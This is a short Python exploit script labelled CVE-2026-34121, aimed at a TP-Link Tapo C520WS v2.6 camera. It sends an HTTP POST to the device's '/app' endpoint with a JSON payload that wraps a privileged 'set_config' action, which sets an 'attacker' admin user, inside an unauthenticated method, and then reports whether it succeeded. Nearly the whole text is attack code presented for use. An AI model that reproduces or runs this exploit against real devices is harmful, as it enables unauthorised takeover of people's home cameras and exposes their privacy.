CVE-2026-34121

import requests import json # Exploit for CVE-2026-34121 # Target: TP-Link Tapo C520WS v2.6 target_ip = "192.168.1.100" url = f"http://{target_ip}/app" # Example endpoint headers = { "Content-Type": "application/json", "Host": target_ip } # Payload structure: Combine an unauthenticated method with a privileged action # The device logic fails to properly validate the authorization of the chained privileged action. payload = { "method": "get_device_info", # Unauthenticated method "params": { "operation": "set_config", # Privileged action "config": { "admin_user": "attacker" } } } try: response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Failed, status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

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